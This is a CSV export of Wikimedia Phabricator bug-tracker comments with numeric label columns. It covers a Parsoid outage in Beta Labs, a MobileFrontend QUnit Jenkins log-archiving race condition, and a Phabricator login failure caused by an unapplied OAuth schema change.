+400309,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Parsoid service on deployment-parsoid05 had stopped for some reason, @Arlolra fixed it",,,1421357107,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+400307,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Parsoid service had stopped for some reason, @Arlolra fixed it",,,1421357095,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+78590,"QUnit job unable to collect logs, test still has active http requests writing to them","Somteimes, MobileFrontens qunit job fails due to the following error:
+20:11:02 ERROR: Failed to archive artifacts: log/*
+20:11:02 java.io.IOException: java.util.concurrent.ExecutionException: java.io.IOException: request to write '2315' bytes exceeds size in header of '2262' bytes for entry 'log/mw-debug-www.log'
+
+Examples:
+https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8100/consoleFull
+https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8078/consoleFull
+https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8076/consoleFull
+
+Jenkins is voting -2 and prevent from merging changes :( It seems to be not a problem of MobileFrontends codebase, or?",Unbreak Now!,100.0,1418675057,1419896163.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-hq65yorr4owyjbw4hokc,task_description,resolved,True,c3,1,True,False,True,-29,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+393855,"QUnit job unable to collect logs, test still has active http requests writing to them",We haven't seen this for a while. This might be related to T84922 or luck. Closing and will reopen if it resurfaces.,,,1419896163,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+392296,"QUnit job unable to collect logs, test still has active http requests writing to them",I suspect it might not be an ajax request but a JavaScript timeout somewhere that might be causing this issue.,,,1419292138,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0
+391384,"QUnit job unable to collect logs, test still has active http requests writing to them","I tried to figure out, what @Krinkle said.
+
+What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).
+
+I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.
+
+Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/javascripts/Panel.js#L57 | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.
+
+The only modules, which extends Panel in some way i can remember is:
+- Drawer: for which we have no tests, so i can't think, that this happens these events
+- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
+- WikiGrokDialog(B): For which we have tests ([[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialog.js | test_WikiGrokDialog.js ]] / [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialogB.js | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
+- references drawer: extends Drawer, which extends Panel and there [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/master/tests/qunit/modules/references/test_init.js | are tests for it ]]
+
+So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.
+
+So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)",,,1418990372,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1
+391343,"QUnit job unable to collect logs, test still has active http requests writing to them","I tried to figure out, what @Krinkle said.
+
+What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).
+
+I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.
+
+Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/javascripts/Panel.js#L57 | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.
+
+The only modules, which extends Panel in some way i can remember is:
+- Drawer: for which we have no tests, so i can't think, that this happens these events
+- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
+- WikiGrokDialog(B): For which we have tests ([[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialog.js | test_WikiGrokDialog.js ]] / [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialogB.js | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
+- references drawer: extends Drawer, which extends Panel and there a[[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/master/tests/qunit/modules/references/test_init.js | re tests for it ]]
+
+So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.
+
+So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)",,,1418983726,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1
+391241,"QUnit job unable to collect logs, test still has active http requests writing to them","@krinkle I'm not seeing anything obvious so if you can find the time to take a look at our tests and see if there is something obvious, direction here would be appreciated
+
+The thing that is strange is that this has only recently started happening, hence why I suspected  (maybe incorrectly) that something changed in Jenkins.
+",,,1418948303,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+391237,"QUnit job unable to collect logs, test still has active http requests writing to them",">>! In T78590#934443, @Jdlrobson wrote:
+> @Krinkle this is not the same bug.
+>  What does a log file running out of space have to do with testing locally?
+> See https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8449/console for another example
+
+Nobody said anything about running out of space. As pointed out by @hashar earlier, the problem is that Jenkins has been given the signal by your test suite that the test is done. At that point it starts collecting log files into a tar ball (which individual developers can download in case of failures to see exactly what MediaWiki was doing).
+
+`tar` doesn't tolerate the files being archived changing at the same time. And since MediaWiki is still receiving http requests, because theres still activity after the test was ""done"", it still writes to the log, and the tar fails.",,,1418947865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+391235,"QUnit job unable to collect logs, test still has active http requests writing to them","(Running locally I'm seeing no ajax requests. I just verified that again.)
+",,,1418947836,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+391232,"QUnit job unable to collect logs, test still has active http requests writing to them","(you'll see the tests pass but it is Archiving artifacts that fails)
+",,,1418947706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+391231,"QUnit job unable to collect logs, test still has active http requests writing to them","@Krinkle this is not the same bug.
+ What does a log file running out of space have to do with testing locally?
+See https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8449/console for another example",,,1418947671,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0
+391222,"QUnit job unable to collect logs, test still has active http requests writing to them",">>! In T78590#934361, @Jdlrobson wrote:
+> This is frequently hitting us today. Cookie for whoever can fix it! :)
+
+As said in T78590#850957, please investigate in MobileFrontend by running the tests locally and looking for outgoing http requests (e.g. in Chrome Dev Tools) on Special:JavaScriptTest. I suspect the MF functions called by your tests are firing off AJAX requests without providing a callback or promise (or it does, but the test ignores it). In that case it's the test that should wait for it. There's nothing I can do from the Jenkins side to change that.",,,1418946775,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+391212,"QUnit job unable to collect logs, test still has active http requests writing to them",This is frequently hitting us today. Cookie for whoever can fix it! :),,,1418945845,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+343626,"QUnit job unable to collect logs, test still has active http requests writing to them",Also happening on https://gerrit.wikimedia.org/r/#/c/180653/ intermittently.,,,1418859960,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+342974,"QUnit job unable to collect logs, test still has active http requests writing to them","Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.
+
+The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?
+
+Have we seen this in other projects, or only MobileFrontend? That would help narrow down where the culprit is.",,,1418750763,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+342973,"QUnit job unable to collect logs, test still has active http requests writing to them","Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.
+
+The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?
+
+Has this been reproduced without MobileFrontend installed?",,,1418750726,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+342562,"QUnit job unable to collect logs, test still has active http requests writing to them","MediaWiki is configured to write debug log under /log/ which is writable by both www-data (for qunit jobs) and jenkins-slave (for PHPUnit in cli).
+
+For one of the run that fails I can see two files:
+
+```
+ www-data www-data          mw-debug-www.log
+ jenkins-slave jenkins-slave mw-debug-www.log.gz
+
+
+Seems we have a race condition between an Apache thread that writes to the mw-debug-www.log while the Jenkins artifact publishers attempts to tar it.  That is a known tar error.  That goes as follow:
+
+* test does an apache request
+* qunit succeed
+* Jenkins gzip the files under /log/
+* the long apache request writes to mw-debug-www.log which create it
+* Jenkins artifact publisher list the files under /log/ and tar them
+* the long apache request writes to mw-debug-www.log while tar is busy processing the file
+* tar complains that the file has been changed
+
+
+The fix would be to have our qunit special page to wait for all Apache requests to have completed.
+
+Will rephrase bug and unassign myself since I have not much JavaScript to figure it out :(
+",,,1418678024,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+78223,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"How to reproduce:
+
+  # Log out of WM Phab and your SUL WM account.
+  # Navigate to https://phabricator.wikimedia.org
+  # Press the button ""Login or Register (MediaWiki)""
+
+Result:
+After about 15s, an error page with the following contents appears:
+> WIKIMEDIA FOUNDATION
+> Error
+> Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+> If you report this error to the Wikimedia System Administrators, please include the details below.
+> Request: POST http://phabricator.wikimedia.org/auth/login/mediawiki:mediawiki/, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 1595403262
+> Forwarded for: <redacted>, 10.64.0.172
+> Error: 503, Service Unavailable at Thu, 11 Dec 2014 01:11:25 GMT
+
+
+Expected: Request to log me in into MediaWiki.org",Unbreak Now!,100.0,1418260418,1418306054.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-ipghpufzfzadpm5ugglz,task_description,resolved,True,c3,1,False,False,True,-29,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+342333,Attempt to login into Phabricator fails with a 503 Service Unavailable error,">>! In T78223#847848, @Mitar wrote:
+> Was schema applied?
+
+Yes.",,,1418651770,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+342326,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Was this now deployed or reverted back? Was schema applied?,,,1418649660,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+341021,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"The DDL in backend/schema/mysql/callback_is_prefix.sql has been applied to mediawiki.org schema, but nothing more.
+
+Wondering why https://gerrit.wikimedia.org/r/#/c/153983/ only includes oarc_callback_is_prefix field in the patch, and not the base OAuth schema? Would new installs break too?",,,1418306368,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1
+341018,Attempt to login into Phabricator fails with a 503 Service Unavailable error,@dzahn: I can confirm that it's fixed.,,,1418306035,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0
+341016,Attempt to login into Phabricator fails with a 503 Service Unavailable error,also https://tools.wmflabs.org/oauth-hello-world/,,,1418305953,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+341015,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"> informed ops and our dba about the query error,
+@Dzahn Reported this this morning in `#wikimedia-operations` but no one cared. So whom should I ping next time?",,,1418305943,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+341013,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Sean applied a hotfix. the error appears to be gone for me. Could you guys please try again and confirm?,,,1418305893,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+341010,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"DBA now looking at tables...
+
+or   https://gerrit.wikimedia.org/r/#/c/179130/
+
+we are getting more reports on IRC",,,1418305690,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+341008,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Potentially the same issues: T78209, T78247, T78223",,,1418305518,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+341006,Attempt to login into Phabricator fails with a 503 Service Unavailable error,afaict either all the .sql files from https://gerrit.wikimedia.org/r/#/c/153983/9 need to be run by DBA (springle) or the change should be temp. reverted until we have the schema change via proper process,,,1418305024,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+341003,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"informed ops and our dba about the query error, thanks Nemo for pointing out the process for schema changes already",,,1418304597,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+340908,Attempt to login into Phabricator fails with a 503 Service Unavailable error,">>! In T78223#841048, @TTO wrote:
+> Probably the database wasn't updated after https://gerrit.wikimedia.org/r/#/c/153983/ was merged.
+
+As a reminder, the process is https://wikitech.wikimedia.org/wiki/Schema_changes",,,1418291532,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+340905,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Probably the database wasn't updated after https://gerrit.wikimedia.org/r/#/c/153983/ was merged.,,,1418291104,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
